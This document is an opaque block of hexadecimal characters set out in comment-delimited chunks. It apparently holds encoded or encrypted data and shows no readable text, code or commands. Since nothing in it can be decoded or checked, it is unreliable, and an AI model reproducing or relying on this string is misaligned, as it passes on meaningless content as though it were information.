a2ec08cbf967b82e015b2df290cf5b655db83ae703a1b0b946ffa1e9816ef42615d62c2d6d3bb2d35ada3bb564c93ed1a95e36a6a1e3345ebd75d73b526ab9ebc9b8834d61209b9938d2087daa419f52d2bce69126d0961d2370fff51b84cf2320fa9b1dffe7e52423aed314e0d6fa4aa9c88af7dd974f0962068a637384c9f00b1af7eb30cdb03d2dccce3606cbb52f54222a6e4ce9c6b2f93f2e08c7cffe26b7cead79a5593a0982c15e836ab28b1275b0c0ab26dcd7a2402ba300c6a78d86f3b49b7d3e3a2f03621d5341e6a2666b2cc78da0249cf89bcf65fbe24d4e7789dde17523c14aa89957935a3656f97b572ace23380242aa4fa14911c20eb7b1d7493d1af64c06e6ec25bece08e7867513d115122f2d7e5cb506a8752abd1d0afd1c3164e102b3df789e54c7d3cdff23f7b04f54ab8a9b4568045e02905a090794c5bb7f443f2e9039e4a2a00f2b9031548c2b122aa9f5293ff12f61d216da37ea548a56360fe5560cb405223f4fa38b8a927373f0b655eb24b63383f958daac23fab22e12007679e0108f361a13c08dc22e62eeddb0c33b28a35f7963c351e28e12842c646fb124cedbdbad4bb36c2f36cf5a8fb5a1a068bdb18074405fdaf2afc594fb56033fca3155d7d08*/
/*524fc21638994b96391aeebd5183dc5a86e27f9e92996f1360f29b0116be0c5e812af083c03ac0c5fe7f7baa962ebff5f2d1ad203e98a0d8ee6caf07f1418c89cd2905ec8ee61129c7d221c05b71b56e61fc681666573fde0dcd722f9dbdaeca6cd236cd405d1d79585134a21e9b7e5e750bc175383abf833f50ab6f08676e051ea397a2d21b08fec936caee72fb57791075d3bb50ddc3b3caa5b51396e55b46e81ad849dd14a00f8a7c422a0c1fd8221ad264caefb536c79d1f08fc087f0b4223c8171f7554bb9e797080f3f97cfcf91d45e96d84490c41c14e8603fb4acd75cb29d79e14938c937c27928417aa30ddc62038637fd603338d456d13b803d390b931f93838a165b564c80e5c568f9d763cdc1623f5d5240bdc715cb01369aa67d015707c2b618bbaf4c26ae0201d897889448b8dc00d5b09bc0878856319ad944e54b18e6a34f179b0bde40ea6ba83f0b254a95ef5a22f4a2bf7efe0401f134957b3ec544f52a4395b5b14d4537dabfd1789850e50370a0ce5678d4d1fd95a95b3985d8962a2074d669cb4a7f343f60efa9dfa95c4a224e9ad62e9913dd380f1dce2da9e5e87806c2ec85de6c44cbb984ed5f7b3ec6a08b04e226c6393e7a8d2e30e82a1244485a573d7c98acce9fed1fbc5da2db0bd97fd57b7a3d7b983d9f36b20d58a95d3a45b3bd7e1b075360aba4e956924b3b3b0ef9c55dc14388566ee1aaeee582a1d11d3fbe9ad18a769b3a51ebb0bb42d6057ce15e13ee4a2d9d0140879dc1a5117606e6244fee0ad55cd0875bd04d406678ae96a923c1b36d683720b5063223e064a67110682660507f900f4daa017a58a0bc22b970bf398d19054139a226b76a2cc6b45cb53259dea98e09381b3933c72f948538f31d09420161bc2dc35c0dc3e416ecbf3ddc213fc41220c85517f423a6a1c0f3dbe324d0e35d8253cb89de9d7b8ca52f771b52044a91ba5b384c874a8b6e8015306c525fe81adb1028f8959ecdc51d33292685fb9f317f49f02caef96e0be0cca5375de81c69ccdb61d6577b69e8ab803b1d7b8ca97e4addb82538153882aae64bdaebf3b985b747c3614f5eb9cbbeef7bc0b67a7c35d06b6a30e0c33bdc10b85d02a49535f944c19ca5eb541ab786933b899786a5ed5069fc87f9d4b48140b73ed6eb5dd9cd12129c580fd27aa6b7026f3c187dee22a1791e9f4c288680716c1340f5d99640aa8e955b4c19540960b1ab483c8250311925f9e6372d640a6cb5eac6deafd147051bb5e2def9f384f20bb3d817d72a56f1f4ff60cbfdb35f8e31d25d188175f0fdc13f83937e6aa517ec9c9f0844a91d59dea563c92adc41f1f9f53749b28f363a3fbf7322db5d87fea18565d0c620542fe2fe336f8ee2a85b54ff93f433779bb4d5bd4e821fd8e28e938e9f9bfd7d5072d3ee267d52e132eade043e702aafa37de7f26821f782477504fd8947004759928c4259fa883636a877ed08e7cbebf301793a66699e5fb7bbbd6375e0fbff4b8bed1b5a5a4b5330f740780da810b3272f1659f2cfb6b51f7e6f606bb6953dc198f24d4e165d09ec578cfc21ecb428e00d32b8876885f0739e53f8a7afec72c03bc53bb542fe447755158f3b31a7060552dc67c9dea974f3af290b3647e92eca9b7e4fe6ec8ff51604abfc85157e526f47945179a6a4a536a0993095cca5244c048f75932e025d51e7bf0ed619509ac897c66e48667cc6f34a3a195d5b59c575e4ac082671fb3a6147ea20863bc3b92a9285db20a7ca59cc67e3617b3c3e4e869fa90af467e6bed4476d73a98cf37bf5ede8f7ff83a163d3f54b98621301c92ccc250f6ffd44d58f72d1ba22ca28e19d27686fe82a3deef77729c9dfce7a6b33dbb7d43e83d82105de356ef7ff177c7502a42778af49f96485d037adac5395cfe934e78598d6ab040de88e0ed998ad3d7253c821ca0412e82f58f1baefd4f5aa71f3e0a243c41548f2e03e4f4730fa28f3745cb2753d99a01713cc2667871d42d40a036e51f0b5a8b6e63d1f4e963920bd7c50d509142f4087dfdf90235fd4e910a5e6dfade81d99cba0986df290bfa0c408726a2bdfe9e28c7e594adb7602f4ee04ba097c3e4993223fb691d0fda9f352a00a93b081b4251f5fd63ae7489fa3c84c9fe6f574e8d1c936923605c2657f3d4a51269591be6504832d25530599c5f8ce9a94f1fb04cf8e8542c86ab5433c3f960da71325b34161c4b927cd5a1dfb723db5cc4cdb5f1ed0a71d197aa1735df71f028780a14be3050c636922c997e625793225759b1cdd8c041c7516cf67c062aebb48ceb1437296279879f78e1e3f3d863a45bde1fb12eb3d2b9aba591944f8a613ace13c3116788985307a59a6244fe80756a8e0bc6dfdee52ba19bbf9aaa908eeffd1ad4fa4eaf67c1a701a7b51ff312aeb0d2057f7a9ab0a1166d2d149cc4f992366ebe4a5b22494d12e0997329205efed9f3907800600bcd42a1b02776fcfc9803447c9158eb6231b92d6d4019334424747efe7a7f44e69d566ed39f2a7f060d6a0624d03d9bc9effb1270300ab6739dfc05a7e2455d410c82ffe14e84b482cfd0464c461df7e6721497c40abc15b82871dd4409952c72588cfd889e2d96dc86402b736cb2d98f5b7aa7006c6fca431325eda5b08798a3410da21f84862cbbd7916586076699e94b4f8581e526ea5df84faad3aa5925423e68f321e3e94524b081f2b63ad0812879d4b00be8e9fc05beac662ca1cdca5eb15919cbb59f46e9030aed8df30ff885504deddb1963f0f2b80c53b182d265431d7c9d5d723dc8107f90bd07c930839729b44faf1ef4*/
/*6e53cfaf28cd77afbbf8209859b5eb406197510ee8be3db1cc2ce236ca9dfbd8a79df7865308ee0bbf08e8cd88f9a7fd25e67a452c53d8071cbb4000bcb4e39f00c275723911eea656adbbe3f13881cf9dcd4448a7f90cf89b33d2d4dbd42c39b048565ef4f7d03b39d9331dea2aa8a96f9dcc838641c21aa71e3780e547d8b8eb58b5cfc3c82d5d5d8067ecb5bde9982785f535e142da5cf6d21c9f8af850ac9769ed57ddf334b3e55f2eb12e012e804c0188895173ce648ca9c37e35afb061badb377f398cf6954432e3b9ac3fcfe57ab6c0524add04e1d501f929e2d8f89d3f7e6d25eb7fe5a83fd139b3bccd7fbad996c6c854eada4f0e4eac74a4ede7907397f9970bc313b3bc866be2c10a74e9ccc664c1cf4c515b5dbee076055b4e948d74cfa6cdfdd6ee9b0949d4d80eabdf22ecdc92f9840475f288db074313116795d79ddabdab3391cb4db2b08463de585057c1a6fc22ea3b734dbed3e93e70b0faddf95bfee839b0a517496d586f852a9d3e4ae4f802b2a93231ed424cc9b8fcf4f238bfff3d260f3ac317bbd6a7f57aa8f9f6ce8f01d5d83f23076a8c036845839709c4b8ec8750b18f8562469ad05510785e0a3623c0e9bfd360677ccae3dac67e1ac44324f533a8d53b0ac8f45c26203d90f1fac0562be73aa8b32b31426dbd4bc116134f6599380607871cd629df3939bed667a139c6c0d11c215a3d0b59d0ed9bb907a7acbff6997d9c1bdcb243e7fd7de54dd772e51103c93fea271b203a89670e55e1367e5d113faa796177651e30c0114bf187e837d52f956eada121576e89a3322bfb4ff90b29d7c25fc26f36a5ae71d21f109eb4fcc5787ae1fb35230dbd422f0530587c9518f9ccf48e10cbef84a170bfc149d281c1962412f385cc1fce49c7114e55a97801a9617b9d4ce9996cdaed0a42979251e3bd68c846bd0f872918b89171eac0ccb81a288a03f3115ee2e2b41681807fe99ff0615fc8e23e584a24872228857db4bf6bf6b1807d9f119817c9376c2444ffc530537ec5183f948494dbb01ae9a4dfe68f356ca5bf3bd76e8ee37b935e15d5cf288cc74ff676df4463ff196011d1d3c447d0d37f43f18ff6f0215adb61b223aef0fbc9a13e92655029c424f699e3b5f8855cc225baee66afd657a59278842e11eac89beb92c4cb4e5158dc7d48346a55fd77662f65e6b5233e115918b8edf477deae5fcfa277c58e75db0db040d82e951553aa60ab35e8604db439c585aa7fb5f715e6b9820145ba44dd591958865961669e3f61ce9d13e715e320ac529eec463009c790314e173b9677d9d64ba1f9b8e4c29d67a9c7848da3e4c7253e7f329eb4bb823a851177c56c1e43cf8a0089e04ae93b00f08d7d8de0ee435fb68ff79665402a9ff8bdb98c4ac2f1773297d7211b2e03436480c15d45add9e53b043e24af4dd681219e2ffb4d4c90b8ae2f0096224ffbb6971c852473424d4896906fbf97c5ad45ac04d3cd66a8a5625bda69aa0c3160ceee0541fe3601e0eb3fda92cc2e6b6255c4fbafe4c45ce76321e6f1514095ba09a5be89fdf1e2ec9b51c9d0b8a448e6fdd59a68893643de89b3020f6b60675a2294090926fed4dde471092a10f959e25a877b8a066a54edd935a8079960f621cc9de194fc9d229b621b1bd61dbc2f5250a9dd9639543c01dd387c0eff6576ac8f07ad14cd1dd4d6ed53090ad53f15efc3a04cd8551123318bba33a66f843052b87a9f825c897fd34f12c5ec151bdcf079ca677f4a18089d870757509f6afc96f1c9d84b8397c88f7f1372b23b8d1f1f423f7dbe3c44c9624e5889e7171a434768289b6e61a8ff4f7dda529bb527ed592af8786777bb41a98c4d96b7d497250dac5caf5bad7e7228185aa7f3e1634087e230e6adad0eb90896374a21d5cf2dd58604aa8ff5c5a8893c9d04eba91e5e77c2bff34567ecf581ff6b70c9aafe4f9555da2e2b4e51d53f6c2e86ed85a9183f91e51b2ebf5ec195ac63bda594fcc34b4404da865daee9c89e2a5ac0da2c76290b37948d7efcd05a31e5cdf89c3d6e6fe8bd6b03b843180ae23b896d70f0456709dc78befef9dbfc35659f3c7a1858d707d8601963f847812c8f7e3834614ec60fbc82d083cb6089f2092e39be7b453b4ef6602125837ed809a98f8a11e2e29d1395bc6794d9e444b46983957aa5e99c239a245ce1c6e97b1078b003a575b21e36886445514af7ddafd4e528d0b786ca5c5b2ed688ed9fa4c9ec53875a7f6e1cdc465b2b7da6a1ddd0f12011d6cad1e1dbc29862989a59b5445d13ed62bc57ae9baf19dab08ed303c3d57001fd17426540f86b63aa65ca8771db8aa72c173a63a7f37900f2925fd621cee804122f781f2a38fa945518cd236d9cd70f8fda9bb1f5334f9450e7c037d61625657805c0cf22d17e5a76bd814c31dcd00d5450cf90e8e26d2774b19a7e741eb772f59cdfffc6af02dc6971fafb2d0e663d341c40103b0cab51ff92f40776a82594a60646164aefb2f48319b1f6eadfb6bb1456f78081954f1a0b393fa8d61324d8079b29ad4f2d8b926ed1a8aa0797589cb0e7d34e3eefc3b6e5341cc0fa2fbc3637377e0b6e0d38cbc1270b843208740639d012866cd38b46e92964b0d439f403c94954ad815e522ddb9b2f1457e7047f04797205302bb7a05c8358bab564bd606e41335e45ecac7dc1c44ecfe080d4455ddee2fadec87a6e104b19a775ee7f502d7322deed30b7ac13bfb604aed1add02ac13667d589f63864c50e2fedfd1d5cef14b208c3503ce3e150ede360dccc79a4e2faecc8b1a56764a5f76a73e55c1fce53eb42e158*/
/*9d90489c8991f03cf54f4cd21e223be0ff2d5be1b7bef04b427a034dda81d5b5f9623cf2217861aa62e7263c09b79dc6615f056f0b4226ce627f19a51850f47d66dff570a7bb8ccf60b370f14a1190101bbc3abe5eec035f44de5baab6007ae33b90e523888ba9fb8f217b5be56a4f3c0fadd727047d0ba1940198fc106dbaa15926b53332f82a167b04259e42b162c0460d3a6fd3765bd980a7cea78f0c9fd884d4da36b7398eb50ac693cda3e2b09b64342b60f5221aaa8a1f30d88cc23fd84115a8b320c08f45b14f3308e07f314fbec794ffed8dfb589e197943375615ec863a405a5add90554f45a8b4d9fa187714408fccbccb95d512b644bf7eed55324b53127db5c0ea0c4c611b12720ee22c3f5f29ce29a34302aa089a9e84b2deb5972125ad28431e516692b202181f88c974d752a0ab7a2628771af527ee72568bc56ca7a59fe91bfe9be75fbe31340459c9e92c0726eed75352d895c2352c4e55f15abe2bf9e39402b5fc75415a46e0501f50d751cb1ddf831c9522db4319b8b90596c08e71181f2eac7e54d5ba9add74e5ff62b23161d57e15b159cd01345aaf9fd7bc74cc4956d5f836d673a5403a82a59406f95482a7e9fb1007ec877bbe43c4212f543654465ba4aff1fb08e08b5eeccb341533bad0fb7bff13557ffca087b22c2904e6393464b80decc6bae6cb2d953443100e25722316250e51a2db6132d92e1f8689cc8aabf0b34a1d1b86156e0e3bdd6cbea91a1f925f37341e55fe0d8428dee158f33f9114b8237d36ab351d7a75540ce152d915251e84fbe76a9c4e4799a277f3442e59167de8a5e27cab57d1169ef65d5e3a6a04cc869b84389afc199665847f521ca34543e39a5ff8cbad143f13f04315eb61bda2455047c6603609541d549b25c8a549fcace866651e9a240e6a1b920abfbbfac2a0ab485403fc8ee555a3e393737a183ce6d8aac75aa70b6fa28facde91e9f8109e717903fd20dd45ccd271de7a8ceaa8e9c13398ae852c771db027c431deea8c0309dc0a8915c7761640f222f91acf22989eb271abedcd640cbd6baad522adad80be9a58674898cad2fcf94d7015fd15bd425e93dec92a6d3429bb6959c8ec98df83e99fd1a2b187af054900d0632e7193beeeccfa5fb13adcf226290bbebecf3a30939189053c739f544daa65f463f86993d58703fcfb73e2b080e706a53f1ac52f41840d8891b4a240fad735fad7d222ed6fbdf6ebe14969403a167ec4244c80190cf8b543b59a3e4ecc02171ebd98637a1a3b437be05791f6570618733a1e19ce3b82d52f1d629df4fcf3dcb0beb5397c6d0f28c996b07fde3df5d9a968741efb4114fb82297afcdb713c65214aa1e9a0c627655ed3a9f430edd9516593ae4daa8b3af8f73c505f6e6cd7f1a4ff786702ec89e9ae618f7aecf6ae7f443bf38c97484d8989a7f86ec08b999567b410625a5fdd3895133453797f1df2d74ca059ede6b58a853c4d467cb410ff229e3720407a65c48dcc36557ef2f401183efdef41b42d34a4fcbed295100e3165efa03c004e6979af5e4f7662c94a66cfaacb7de7ade0249a4bf08a73fe60cfa10d3ab40480b6a73a7ee2c6a396587ac7691b02851eb5e8d04ad61c63c01f03888b528135080cef8e55f09e1d985f542ef93061c27b2e01f210166ab59b7bf9459e88acab4e3a2959f9d1a2202b4be00c07792aeb59a78467455822a4825cf910a9454d5ada1f542e20544dc8c1605b6c5cd27b56bb241b7439d0cb8ed8b0258ab9a35bb45b9bf5f034a1bcfe0ef9d00d9d4c85b135b9483cd5ccec9c0d1b40241cf934a096bbfab739954bfce497afe04dd1765927471af5d181470258c33c5ad9d681f070f66fabc0d9b0785f32093845514e09b9e6412769eaf169e21133714493e1d1b3e19acec2b5dbb90a6e62502bac60f124743b87439023e5517795ec2cd544203384f2b4a2504f9fe73c7f754b544fde6e9ef11b4cee63a54d2c23ec4621c5fcc7c57a80edff07d933d7bf9e522d1a8bd099676acebcfdf9e2c3840a5988e48e9c2e967b90403194ea9944f32962079c78c65ccb4251325698e6184d185b45089b68bc2f584a76767f9134384cf78a0085bb7cd8e3c09d7c2222b071d67e6ba5c199fd0b403147ed896da44deb485b847f93a2903aea44b400ec3f621297b443442ade633575de6975a52d7141f960e1689f462f95a7c9e490c13de881f6442b7bee7fdb030b5a3a565e5f5439097b3c31cd23e543bc510fc29a4cbca75f62d7ae5a365af5220c8811089836af3322dbfa2b61b432bf1b5221807eacd9d1cc853f611ae3596522316258c267b1b2e375cd03fc91f738b0e050e34aef53be89a073f887f673b1ce37e476a3f164b1dde38cb7ce1c75e445651ba1b502721583100776e59daaa607ff324c5b2324d469622ee90ff14f89657b7a315edc0b36164fc59982add3c6964767490a83b0e0b0ba8395f3857a226347d102c4d26ffeeeb4bd0c6151ac7c4a8d3c7af34c2c210b3ce7b54ae3d7c22127b8ba3f430fe7aeb481b08f80aa1d9ed84c66d4dc7ef287406cc7ad0bb32affdbc332ba92ad94518af2d81046a8a09a02a6d7dd330bcb46abe1a27aca8f3f9f74b414ac8ab8df159aa963595e54f66bc791ae1072eb1bceee9788f8715eb0492aa9c0047f29d7b0653c7128d73f8ce896bcc3fe7ecd79a710708d6049dc8c87d5d24db8f75d657ed37363e844f1cf5e9e5dc39b2fe6b99a6d7491278911094d2c4151626ae953dc479aacfb0761bee619a10e1bd171548444081b431ae7f7c15a715ebe3664d2a2f449ed8eb8*/
/*716cba13d92a580fd6d9f65d48c37188c52f9ee23f49015a642c940ac7e395635ea01ec403a7e9a2083c46fb9b2fc8ba5a3ee6446a09f903351ab0f69e4a1bcbc93ab64e7baba9057944c22a44b1053ec5c3e025ad46e03df7ee6e5513551b016a097fa1052b6f63c7fefe142a70591893102e1e9a71481bd7f006fc5d5da5ba45b0130ddcd4c6eba8cb6cac6ebfcad1cfb98d581bd17e338a89280b3c7005423d4861eceec1ea8ce720bc1f43b43850bc80b27c1bb88efadc353126104a8a5980ec3baae223e479147d41f1ab043c6275df73f82ce7867a765c7e6144fbbd8855b421edd6e7eca5d4a97a00e084f4ef27fc3f3267498d6d5a1668efaa7760b66277844ac030772f5ff94905c7c7004785785e55e4d1b234f1d9eaf94ae78ec807d1fd9590b75e832f1c3c267754f7845c305b3c1a45d7c2111a2aa2fb327afd198644b430fd181adc49d9efac0cca979451b16d240159fc260631dacf28caa450fa6fa76f9e2e0826ec0b3d0737e49cce4f8ca967c9e9c077b45df142bee0d9c7338d0373ca25f5b6d18df9b8cbcebcb9aaa1ab3b4451a37f22fb1c41f186d3377b7a829a882e3d00a615927c20bfd8071166890ec57ed930752dd7b5c831ba818970a8e419c1b25b08c94ba05981a8ce245d2aa65c1e96a24941b3d346116ac595ca2c9bbd8face72d86b4b747c9b114a94798bd0daf57e9443d854afe6ae4d35b3bcde9226cdeda666d4f279bea9f7599ca0de1dc0050665a99f9a422458b9901b704f548ec7b15fb77117c2b42bcf83de1b607e7db21b22f8e9f053aa63314b46cd3fdc93256bf733486526da673c7b758e7069af600cb91951432f5f0e67531aa53fd627aff12507dcf3fe99ad3ff1311e750f6fd35f1e47f0d8214bd8b6700c314483f9aeddf16d8c0ca6118190c7851b8379b710f64aafd0db0890cc6a00e513cbfc88cf33138069f66bf0933f3d57754cb476782ad91f50f8588dfdc4c5e36881779211d7e95cbdb0f776a24b714e1cb47d4e3dffa08449eeb2fdcfed04b6257b4659fc01c7516e53f08c611cf0d767227cf5183c8484efe588d707f313ef3643663e69c584a852debe302bf52b687b84a59bc0c3353089d9e619ffc1a5a359113de49b0e0653efc1e7ea51f8856d575fd568ed592af1ff0c13850e9805d0ead9a2f86556840e9a55dfeaf953c4393669a5923a270fbd253af35f1f86e1fe641f2d0f74f6ee4e7d8c3990430efe82280c3e0f7964dcecca7fcfa91e4405bf21675a2cc718b7db1bdf5d2607c4d81c5ba8809a7979d041567409e726e0f5608f2ce555d6178a457a0368060f9ab34121c05693ea2de2c6068e80f7d2ff6e77c95c7ad6064bed82049fd86bfde4608c716faf21fe4ff0806d5c9d288e46d63c768f180096bc7d04623524b7aba3c611dc05ac23fc0e13d0dd800a305bcfd21b908303d78b33357b5af9a91ff8b3763bcf9b2bf1b7a8b0a3bc0fcbc52c3a3510ad54ad4f35cee67348957249d683550fea1892ad12ea2932d7ebf9366ee70780749892700f2b263b5772fe2ff293e613287775d161287b0f88dbab9a20d13fe58a38765349bd27e070ac31f3aee8ab932a510e3211962fd1b75a47215bab172c8cecd68d58401f8bb46deb3e3cf0d82400e99d9b30040ec58d28f1595f6d4c614135b0d5db7f1d98cde27a43446e899a1a56bc62b85c9305b1658fe0351d9a465f4b15001bb73a62291bcf044bc501eb31dc1d392d5d4e0de9828fbd9823ccf7ba3c14b7589c941fa466fc2a0fe702418b473ff1e874e41b84bebb7a26365c3f24ab2c0232f0b852dc977d66772a18a5e3692969528e1dd71660b84c23c9a2e8ddc2e336edf78c9ffe7ce2fe7a0c340661a8ead3e82e55553c7ebc93c1db926f7a4a1bc4be83036fc031267a8860bd0d489de486505c12bad274d9b8c5e35e955f0f1764bf2770f1ae5aeda995c28e2364a0ff6d17d498b2fb7e0edb8c2b6aa0ccc1160216a4016825ad810fd44899e8a4330d2e529efd92b77b38b04000db2591a5d443766dd1f9f608a0c3dd26ee1e1588808b586b10eb4d9d7c2b0616e113e9efd9781bd00fb934259724cea537a5f40bc40b52b75d9cb74b97c6c736dc668e2034d8b58d8c9109a11e9c8b77273479525c061e8e2c32c13755df7037f3a20b9b935beb9a0a7f5442103dd9040c9d263b56f14ca131a86303f35dfda9efdfcf2b306d6dff914520fa2a28657aedacb7ca2d2c9a45bffed8fdc042da1ed5369efee3762389d68685cb56ca1ea5f297c736cd15d1718acc384c4e8ad5098d0064b7b00404f6eeb49600d31c00df916fda8d05b57f6e1597d1d9029ba4b8f09f5af3a51f084b9cc32f3512cf12c8e0c0038003c39b09131ec8076cd0b8c6a597fdba00992f44ea33eb899b22d777d8f5fe8c4fc27c044fbf3579b3e23e6f46ade03dc73b588d3cb4faa16207d84998b99a02040574da11ae5444fbdcf74c6aaf0194f4bfee1c260e0861a754aba46b174645184cf08fcd040934bdd2269dcd3bc95b0b223cb417e1c6b6b143d335261f0d60980636d9bebe6fc99a45893d65b0209ff349b5d7a6246f59f6ecc4b0483af9605f501b898994cc6187cb1c043790d9b04753ce2e834f3f3765a977711290b1cd7a2026c2e8edac60af34b6edc0d98f683a5c856d5223f4496b0d8a866449756a39e0f32c5a2349b03ecd041ab7cb5f257f110106b150412d5182daeaf838cd90346b73f7664537a31c6fe99a239b51be725d7e4c9bfbf161a66bb1809fdc37178c2d7891c1da34b85c99745a864db0bfa2871a736c5352ce3061601*/
/*18a924b69853f44b8c5824320e798401fdaa716de844a8c8238a83c7eed0ab70dfc331827ef37580dac9fcb3717b87b3bc9602d0b5d5d8319b80e4341ffaf86d00c4ef97692feaffcba7fd381d57d2ac20242cf8d17d8dee448fafc252c26f087441d8db8f66b3664cdeaf9af0a5025ca2c05c48c2fedf78745540e06d6b8fe2407bb5dcd7dff1d09998705874bf10ac77e029e08f96db2d54543d55a9b52ce1987afcc073440d97682de3e978f84b8190cd9d0ee85bf44e81afc8f7551bab62ca3da2e2473f027421456054df83507a91e7509a34a1c7ef693cc86c79d6abb748cee0ac8c98c5c518b2645b6fcd898479cbc0d8e57d12ddf2ada546d5f2cd1352e7fba49eb54f33dadffc69a520e3b14c6bb6a1e197c617ec39b7b0b6d93855bd99eb4b2d35ebdb7a01bb6eae69d6a4aea085627ef3dde45ceb406a9125daf2d5d78b47868b13bb9858afc53a77baedd54239ab8f1cf3c4d5e643992709472febb11f62ae096f4f75ea7e0eb51605909d518cf2b956f06ecbc48448097b547b53dae5c4930909ccc72f683142f2b542886c01476dfd85c0cb41c42f3ba4add66e35e345199de34c011784041fd60af925a80ffdd01fa923e087adb7257b6b4916029522ade136b71aca7bddaae20c7d2564712d56f026f091b12f09834835d244de7cdc43ddd2fc441521a0db3f432b5c8b74b595fd6ce1c1b56bcce070503325fe796fb8abf6b52ccc7d096534b2797c17194c3d81fa34dc1028b898ed5df6bfb3ec69272b2f9ba2806bcd0541985792138ac996e7fb1108fb652f3c4d571fb2c338ea7a4eed8486bcd8a2c553a246728b3653481657fa3d0a2203224ee0635c73ef77099645821a34f3294eb71115d5b1e8b48ef1d9bb2d4cad94cf22c44263e634ef4e6a422939d6a191c1d2701f92748b41529c526d9fe5f4f929e6ec6c7cc621c35e06c83ac279d50d91c5633c34cf1a56e5090de3f4deb1b8aeda33e13ef6fc46721951ba470bb62ca656f962401fa4e5224c3ee11f4cea41dd9274d904989644da18f16d990445f86d3a0889e072fcabe44d16637354a1520ca60caba1b440f9c4efb4eda96d8f7369baf8570b79ad37f7e6ffe46eaa6ff281132c29a9ed248c304e3bdec0411d0a053fe55372e1dc0189fc77d07f88fac109f26c6cfa50ad663720f69c24416fc318a273646862b3eb6c20505d52581a4de1590d517530f090d0cd536f6ec901563f2364400f88754cda4856dd89fa8fbd3ee3ebe0deade67d4ddd0ad832a03adc102b2e21bbcac1981584394d9158409a86b91bce13e4238fa9ff2b57e9b52804c767aa775cfe7567edda425b9a80816f8c2d5060ce7dfcea8151044847fc831efedfbbb0c465a21732e01a446ac10d6053fe8f7a23beee5cc3c7b8ce75dcaaf23a5ffc69fa9f6c5492abb4981da9ead2f72744a19f3d221155aec601e3775063a08b98349819a9f5ae04c4e8a0b5bda3cd6f53ef9d3b69521a6dd96c36c5de34cec30e2932ec2b0a8801f09d981f81516c15845acb33a5b30854df4c30cb95ef4a891e24a3b5b2a241ac47d1c634f14932cfad8f24f4b6ed4ceb0eae7525e4d2cec261c957521367073749302aa8441257171a518f3d6cc32574b77b28445743c61a5071fd7319b9dce99c97060e65ab3b494f9b5eb692df1d70cf47e9f116fc39a43227e33ed354bc9d7e51a700b7c5cbb862d8882b6216009836c48a797396bc96ac42622ed83c7612a1ce0474d422d8e38c326b84f2c616bc4a28ca8006e58afe9d305d8ce443884f8a363dab90cf858c6a86e663e83dc509ceefc20f2dbcafe808dc838834ae85b0cdf208dfc6e1c07d4d761a135dcaae1b3308a0c9e331739cbb3c87a1b6653129f88d7aed53b88135d2ba9b5d1e01c2967f1908146d6f89adf5ac64022e27e9166295ada38ca17ae73b8f75d206fec84d5f8ad7ccb6da795c2f6b7db4b58f5c2918a084c133b0b40b076c89d77c4957a15d9c722be7884ce4658607ff9c8e5c89368f95470b6bc8f4e7656e7cc05b9a5497bfa4f9cf3daa89c50d196111ad31f5d71e34b5de28f4446c59433af37e7c51f38e4e2007f7848f3c26c4aa32b7a1dc90f815fc9d44352638f3db70b42a5d3822c826ac5262be4d51279966681caefbd04af36530e94265e60c0f979627e84325b798fe1dbd599dae93cf905a4eb451ed3ddc0c9448428a026cc218296e995742ee8a5f4139015312b0b097569601179687d0b5365a39204275f3faf0098a799d9238b0a95a5d5cf5d950ee6691ee3b11b93120675e16824f0d47c54247308a196b5238ff9b1533f87303543bf9393d16504b48a022a34fc10527d0716b6413a112df3eed710ec0d3b528d4034fb28b5d466eb795ec3434a76fc27bfc59bad4c3e9a1c77ad2590a4ca93991eb7dd03164f88c330bf28438df1e5b0a8948533227baf86bb80fda7bdb10c0072e2bcba17d8c8c9719a123ebf1c05bbfcae740bd9da4944bdad3a342b59003783f497c47300879057aaa79b31b711873ad9d2ab73ea1f8fd6bca38b5dbfe312dcdcce09667bbc35d155a851036c200f5ddfdbf2dbc42776fbd162cee99ea64701d9245abd0e930d0103419ca87123052a005ea1aa6eba334117e121074389d7548c5dd780f0e1af8777da22147b3722e67c33b8f8667937977745c0caf69f99e6283795835bd3948ce1b0c533df45ce42e18933d21fe259177d4d826ee6130a29fdc829c22494790337b7c37f4b306420ebc8cec57dc2c3172cf8a1a695aee28d1d4971e2bf188f30ac0ab69024f7e264433f0818a943f6699fb4dc70ed8*/
/*0852e1a6c6b63dc765c0d5d66dbf322275f0374dfd09cb5c015ad0dd4fa90923f82565e56c5b1c2870905aa884e187a6ce53878a2a448f58ccfa6586fe2a9b1b20321a03797235f50fc68a1486c178bc7ae4f75f27059edd4f92eccab5c9e59d9392425885766ce25476d4c466e7f2fb9ba7710c1b19a5bf17e01308e2e55cbb220e49e0b2ba1c4e6d026f3fe044037419e5f677aad52a3a80392db4d5c41bd360378f48310760ff258ef68b1de4ac71dfe2f716348f211a47443c3e8aa03e34ff623bcfab741fbd4dda0c4e433e41af675da7887b1ab719518b0df29793f0af5b3d28e65a12e686a226695b01a76b3e981704c578dde0accdd41efd1f47a53c89df2858cd7d2c588c81f3e82f8bb3d7edbcac15a5e6f6baa53fd7fed08717804650a3e1d514dfd58f96bc91db39dd0904b8b9036c011f6b6d9aff8b63e948457c3dc148d29e5a1c23cca880cd3360f0c378dac6dca66e2c305f4edb8c9ad09b8f49962f7f41f9a9388b8d84c03d7da70451d63a030c5be8e6721fa8e62f6dfc8319e6e68cb10ce2288fc267688d197ebf17ba0df9fbd58691c67a602c7b85cb34f1252b47630f7e52a98d1f3152a17efbdea40f54f2ad4f6ff428c9ae2a281e930a80db474e5d14033371bdb5dab7599a762eb1d1f7225d8762cd0703cc524b2d89b0acbc219d20001d528dad635986aa4387bbbd9368eed0aeeddaddbea4bd6c6dbe2d6698516c675fd9a4ef459b2db33f3e6a2d1cd6ca43f7174ea256e08cc17cd38083737d4a9933ae82fa13b3fcbf8843ac2ffb32d415c3f2f16468943a9e3936c7aeb811ec42b01842f78c517b9c030814f8fe29ccc9e76d1502341aeea4290492548d749eadbe9873ba265e3a21408ec3804dd50df7fdaef605b1bc1a8a7ffd45fbc19863755ffc846c23a9bb8cfd0542bc791831c4b95d44a4dc7c426f57c4792e0ce0933cc8dea11c7b52f9ed54b7fb50523b575cffe731aba619c6e0cd87670426263d5fa8dba705a237962120078648b79d75432bb314658ad1e35127e0446fde37ff977e39936880aaac3323b5f68f8052eb3587a2d7098e37936075a449160b5d61a2ccaf1154b13b73120aa0120fbf0427b1e1aa4d0a4fd9fca33b739f64538913db4cd03145e0c253cf16ef5699ec6faa439edec7f410716ecaf6d724f3030c5d7c52ea5dbbe6bcda45eaebe1538f42dcfb872f2efa95a419e15a6810b937e0deb3eb26ce2adf948f9de22b65cf84ef7712b4d6de45df0edfe4280c075cd4cde1a041711274ac855d561e2dbf0fbddec79c4122b4bf1050f4a2ebff311180ea249c65f25b0a488